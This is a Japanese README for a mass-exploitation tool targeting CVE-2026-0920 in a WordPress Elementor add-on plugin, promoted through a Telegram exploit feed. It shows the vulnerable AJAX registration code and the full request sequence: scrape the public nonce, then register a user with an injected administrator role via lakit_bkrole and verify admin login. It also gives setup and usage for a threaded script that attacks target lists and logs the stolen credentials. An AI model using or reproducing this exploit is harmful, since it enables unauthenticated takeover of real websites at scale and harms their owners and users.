
LA-Studio Element Kit for Elementor <= 1.5.6.3 - lakit_bkrole パラメータを介したバックドアによる認証なし権限昇格(管理者ユーザー作成)
_____ _____ ___ __ ___ __ __ ___ ___ __
/ __\ \ / / __|_|_ ) \_ )/ / ___ / \/ _ \_ ) \
| (__ \ V /| _|___/ / () / // _ \___| () \_, // / () |
\___| \_/ |___| /___\__/___\___/ \__/ /_//___\__/
📡 エクスプロイトはここで最初に公開されます。 Telegram で @KNxploited をフォロー — 新しく公開された CVE、動作する PoC、精密なセキュリティ研究のためのエリートフィード。絶え間なく更新。先を行く人のために作られました。
CVE-2026-0920 は、WordPress プラグイン LA-Studio Element Kit for Elementor で発見された CVSS 9.8 Critical の脆弱性です。
この欠陥は、AJAX 経由で認証なしのユーザー登録を処理する ajax_register_handle() 関数に存在します。この関数は lakit_bkrole パラメータに対して何の制限も適用しないため、完全に認証されていない攻撃者が登録時に administrator ロールを自分自身に割り当てることができ、単一のリクエストで WordPress 管理者権限を完全に乗っ取ることが可能になります。
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2026-0920 |
| プラグイン | LA-Studio Element Kit for Elementor |
| スラッグ | lakit / la-studio-element-kit-for-elementor |
| 影響を受けるバージョン | 1.5.6.3 までの全バージョン |
| 脆弱性の種類 | 認証なし権限昇格 / 管理者作成 |
| 攻撃ベクトル | ネットワーク — 認証不要 |
| CVSS 3.1 スコア | 9.8 CRITICAL |
| CVSS ベクター | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 影響 | WordPress 管理者アカウントの完全な乗っ取り |
| 研究者 | Nxploited |
根本原因は、プラグインの AJAX 登録ハンドラ内でロール権限チェックが欠落していることです:
// Registered with no authentication requirement
add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);
public function ajax_register_handle() {
$actions = json_decode(stripslashes($_POST['actions']), true);
foreach ($actions as $req) {
if ($req['action'] === 'register') {
$data = $req['data'];
$user_data = [
'user_login' => $data['username'],
'user_pass' => $data['password'],
'user_email' => $data['email'],
'role' => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
];
// No validation of $data['lakit_bkrole'] against allowed roles
wp_insert_user($user_data); // Administrator created silently
}
}
}
なぜこれが致命的なのか:
wp_ajax_nopriv_* = 認証ゼロの誰でもアクセス可能lakit_bkrole は administrator を含む任意の WordPress ロール文字列を受け入れるStep 1 — Nonce Harvesting
──────────────────────────────────────────────────────────────────────
GET / (or /index.php, /home, /?page_id=1)
Search HTML/JS for:
"ajaxNonce": "<value>" ← Inline JSON config
ajaxNonce: '<value>' ← JS variable
data-ajaxnonce="<value>" ← HTML attribute
Nonce is publicly accessible — no login required.
↓
ajaxNonce extracted ✔️
──────────────────────────────────────────────────────────────────────
Step 2 — Admin Account Registration
──────────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = lakit_ajax
_nonce = <extracted nonce>
actions = {
"req1": {
"action": "register",
"data": {
"email": "[email protected]",
"password": "adminSA",
"username": "Nx_admin",
"lakit_field_log": "yes", ← use supplied username
"lakit_field_pwd": "yes", ← use supplied password
"lakit_field_cpwd": "no", ← skip password confirm
"lakit_bkrole": "1", ← trigger admin role injection
"lakit_recaptcha_response": ""
}
}
}
↓
Administrator account silently created ✔️
──────────────────────────────────────────────────────────────────────
Step 3 — Full Admin Verification
──────────────────────────────────────────────────────────────────────
POST /wp-login.php
log = Nx_admin
pwd = adminSA
↓
Session cookies obtained → GET /wp-admin/plugin-install.php
↓
Plugin install page accessible = CONFIRMED FULL ADMIN ✔️
pip install requests colorama
| 依存関係 | 目的 |
|---|---|
requests | HTTP リクエスト、セッション処理、Cookie 管理 |
colorama | 全プラットフォームでのカラー化されたターミナル出力 |
threading | 複数ターゲットの並行処理 |
re | HTML/JS からの正規表現ベースの nonce 抽出 |
Python 3.10+ を推奨(
str | Noneユニオン型ヒントを使用)。
CVE-2026-0920/
├── CVE-2026-0920.py # Main exploit script
├── list.txt # Target URLs — one per line
├── success_results.txt # Auto-generated: pwned targets + credentials
CVE-2026-0920.py を開き、上部の定数を編集して希望する管理者アカウントの詳細を設定します:
ADMIN_EMAIL = "[email protected]" # Email for the new admin account
ADMIN_PASSWORD = "adminSA" # Password for the new admin account
ADMIN_USERNAME = "Nx_admin" # Username for the new admin account
ターゲット URL を 1 行に 1 つずつ記載した list.txt を作成します:
https://target1.com
https://target2.com
http://target3.com
スキームのない URL には自動的に
https://がプレフィックスとして付加されます。
python CVE-2026-0920.py
以下のプロンプトが表示されます:
Enter targets list filename (e.g. list.txt): list.txt
Enter number of threads (1-50): 20
スクリプトはリアルタイムで色分けされたターミナル出力を生成します:
[14:22:01] [*] https://target.com - Starting target
[14:22:02] [+] https://target.com - kay: a4f9c2b1e3
[14:22:02] [*] https://target.com - AJAX HTTP status: 200
[14:22:03] [+] https://target.com - AJAX response indicates success
[14:22:04] [*] https://target.com - Full admin verification: OK
============================================================
[ SUCCESS BLOCK ]
Site : https://target.com
Result : SUCCESS
AJAX OK : YES
FULL ADMIN : YES (login + plugin install access)
============================================================
| 色 | 意味 |
|---|---|
🔵 シアン [*] | 情報 — 処理中のステップ |
🟢 グリーン [+] | 肯定的信号 — 部分成功または完全成功 |
🟡 イエロー [!] | 警告 — 曖昧な結果、要確認 |
🔴 レッド [-] | 失敗 — ターゲットが悪用不可またはエラー |
成功したエクスプロイトは success_results.txt に書き込まれます:
https://victim.com | USERNAME:Nx_admin | EMAIL:[email protected] | PASSWORD:adminSA | LOGIN:FULL_ADMIN_OK | RESP_SUCCESS:YES | NONCE:a4f9c2b1e3
各行には、ターゲット、認証情報、ログインステータス、AJAX レスポンスステータス、使用された nonce という完全な情報が含まれます。